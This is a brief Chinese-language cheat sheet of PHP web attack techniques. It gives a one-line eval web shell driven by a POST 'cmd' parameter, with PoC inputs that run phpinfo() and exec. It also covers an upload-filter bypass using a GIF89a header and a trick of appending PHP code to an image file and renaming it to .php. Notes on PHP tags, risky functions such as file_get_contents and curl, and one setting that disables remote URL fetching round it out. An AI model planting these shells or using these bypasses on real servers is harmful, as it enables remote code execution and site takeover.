1. 一句话后门
$cmd = $_POST['cmd'];
eval("$cmd;");
poc:
? cmd=echo phpinfo()
? cmd=echo exec("ls -l")
2. php 开关标签
php共有四种开关标签,如下两种总是有效的
<?php ?>
<script language=”php”> </script>
另外两种需要在 php.ini 配置文件设置开或关
(“<?”, “?>”)
(“<%”,”%>”)
3. upload
bypass
- 文件头+GIF89a
4. dangerous functions
- file_get_contents()
string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] )
支持本地文件,HTTP,FTP
禁用file_get_contents,修改php.ini
allow_url_fopen=Off
- curl
支持 FTP(S),HTTP(S),TELNET,FILE,DICT,LDAP,GOPHER
install: sudo apt-get install php5-curl. then restart apache
5. LDAP注入
6. 备注
- 注入php 到图片等
echo '<?php phpinfo();?>' >> 1.jpg
文件名后缀改为.php,就会用php方式解析,执行phpinfo().